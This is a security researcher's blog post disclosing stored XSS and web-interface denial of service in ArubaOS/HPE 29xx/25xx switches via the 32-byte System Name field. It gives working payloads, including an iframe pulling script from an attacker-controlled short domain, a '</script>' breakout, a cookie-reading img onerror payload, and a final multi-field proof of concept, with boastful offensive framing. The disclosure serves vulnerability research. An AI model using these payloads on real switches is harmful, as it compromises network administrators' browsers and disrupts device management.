PoC provided for ArubaOS / HPE Switches (Multiple / Many, PoC provided for 29xx / 25xx / “Traditional GUI”, Pics from 29xx v.A.15.16.0024)
In my last post / disclosure, I outlined a few tricks you can use with 30x redirects, header injection, and coding on the HPE FlexFabric 5×00 series switch. We exploited an open redirect, weak API controls, and encoding / re-encoding tricks to obtain control of the user’s browser, the server’s response headers, leading to script & code injection. (Encoded Payload Fun : Exploitation of URL Encoding, Header Injection and Open Redirects on HPE / Aruba Networks Switches – HPE FlexFabric 5700 – CYBIR – Cyber Security, Incident Response, & Digital Forensics)
…but what if your space is limited and the application is sanitizing input?
In this tutorial, we will examine REALITY… a wonderfully powerful code injection and stored XSS payload that only fits in 32 bytes. Not only does it work perfectly on it’s own, it unlocks stored XSS & client-side code & content injection all over the target due to weak & inconsistent input sanitization issues.
Even better, this has basically lived undetected through (as far as I can tell) the modern life of this ArubaOS / HPE firmware implementation. In other words… a really long time.
Interesting side note: As this is persistent storage across VLANS / web interfaces.. this is also an awesome COOLHANDLUKE type protocol / VLAN bypass. Check previous blog entries! Exploiting Persistent XSS & Unsanitized Injection vectors for Layer 2 bypass & “COOLHANDLUKE” Protocol Creation (HPE Procurve & Aruba Networks, Cisco / Dell / Netgear) – CYBIR – Cyber Security, Incident Response, & Digital Forensics
REALITY – XSS in a VERYTINYSPACE.
I *love* REALITY because is a great example of “do more with less” and thinking outside of the box when it comes to injection, client-side exploitation, and escaping sanitization controls.
When I was first exploring the Aruba / HPE devices, I was amazed by how many limited but stored XSS and code injection vectors there were… I just needed a way to trigger them. After a few minutes of staring at some of my payloads and what was presented to me, I was ready to bash my head against the keyboard: Hacking and information are a war of attrition.
Quite literally, everything in security is eventually based on “we can’t fix it, so waste as much of their time as we can until they quit or just throw up alarms and hope someone finds it in time.” There are a lot of terms for this… imposition of cost, etc.
Solving these types of problems is what makes the elite… elite. The most elegant code and techniques don’t have to be sexy or elaborate. Sometimes simple, elegant, efficient, lateral thinking is the best route.
Enough of teaching.. let’s HACK THIS THING!
Here, the web interface for an Aruba Networks / HPE switch is shown. An example here is on a current, vulnerable firmware released in 2022:
The web interface is used for device administration, provisioning of the network, etc. Since there are typically *many* of these in *datacenters* or racks, it becomes very hard to track these… much less update them. That’s where we come in.
The name of the system is a client-controlled parameter that is displayed in the web interface. When you navigate around the interface, it’s anchored to the top left:
If you try to change this to abusive markup or an injection payload through a browser, you cannot do much. The API throws an error and there is an error message in the web interface:
….but this isn’t the only way to change it. There are a few.
Using SSH or a console cable, you can access the config directly on-device or use the on-board setup utility. Here, I’m going to use the setup utility because it demonstrates this issue VERY clearly.
Notice below, it very clearly states this field is limited to 32 bytes. Messing with markup in these fields will throw an error and there is absolutely limited sanitization going on here.
You can jam in a payload if you try hard enough. Here, I’m going to inject a frame from our company website.
Better. This is now being integrated into all parts of the web interface. I have a nice little space to play with, HTML is being injected, I’m attacking the victim’s browser. This is likely an ADMINISTRATOR or PRIVILEGED user. SLICK.
Doing more with less – Understanding the relation between IPs and DNS
32 characters is not a lot to work with. I could barely get our company website in there and it’s just dumping to the base page. Sure, you can make it work and exploit the browser…. but if you need to jam an IP address in there or a longer FQDN… you’re basically out of luck. IPv6 addresses? HA!
That’s a good control right?
NO. In fact, I’m going to escape this through a few techniques. The first requires understanding of how DNS works.
If you’ve ever used a web vulnerability scanner, you’ve probably seen very short FQDNS used for XSS payloads. These are hard to come by and controlling them is powerful. If you have the chance to buy one, DO IT. I’ll use one of mine, XSS.AI.
There is a very clear reason for this:
Shortest IPv4 for XSS: 7 chars. (Ex 1.1.1.1… and good luck with that.)
Shortest FQDNs you can probably grab via registrar?? 4 char through public registrar (5 total)
Thus, 1.1.1.1 can be shortened to XX.XX
Here, we’re going to use XSS.AI. Six characters… but still super effective here!
Thus, owning a 4 or 5 character FQDN is a license to print bounty money if that’s your thing. Using *really* small FQDNs can help you escape limited space, bypasses controls checking for IPs, and allows you to free that space up for other payloads.
Here, let’s put our new payload in:
<iframe src=”http://xss.ai/xss”>
Much nicer. This externally resolves, fits in this nice little space, allows me to add to the URL for targeting, etc.
You can basically jam whatever ip from 0.0.0.0 – 255.255.255.255 (you wouldn’t really do this) and let DNS handle the very limited space here. You now have XSS in a VERYTINYSPACE.. plus it’s absolutely exploitable. Jump from the switch to the ADMIN’s os via browser exploit!
How about adding another payload AND Denial of Service to the Web Application??????
Now, if you’re still reading, you’ll remember I said there are multiple escapes out of this. This is good enough but what about those *other* stored fields? There’s another just staring your in the face right below it!
That field underneath (System Contact, others) is part of the initial access page like REALITY. This can be used in unauthenticated scenarios where a browser exploit is all you’re looking for to hop to a workstation and you’ve owned the switch. It’s a web server inside a perimeter hosting malicious code to send users to.. sometimes that’s all you need.
This field is a 48 character space but you can’t turn it into attackable space initially. Due to sanitization, the browser / web app do not render it as HTML,etc. YOU CAN WEAPONIZE THIS AND OTHERS WITH A LITTLE INGENUITY!
So let’s go back to REALITY for a second and re-examine…
</script> fits rather well in there. I have plenty of space to work with….
..but the rest of the application turns into broken client-side code and HTML:
Change this field to an XSS payload and watch what happens… it will take a few seconds to trigger.
PoC: <img src=x onerror=alert(document.cookie);>
So, breaking this field / code in the interface through the injected markup actually unlocks XSS / injection ALL OVER the web interface. We broke the markup and turned sanitized fields into an XSS nightmare! This essentially triggers a *lot* of other fields to exploitation, dropping of payloads, and the device keeps on chugging.
Finally, what if you just want to deny service to the web application itself?
There are LOT of payloads to do this with but I’m going to pick a simple one to demonstrate:
DENIAL OF SERVICE – WEB APPLICATION
System Name: </script><script>CYBIRPOC
Final PoC Code, Inject via SSH / Console / Telnet / Upload:
System Name: </script>
System Contact: <img src=x onerror=alert(document.cookie);>
This multi-stage code will trigger consistent XSS, content injection, denial of service, and other issues in the target application:
I’m tearing through *many* good examples of bypasses, novel techniques, ways to deny service, and directly inject or execute code.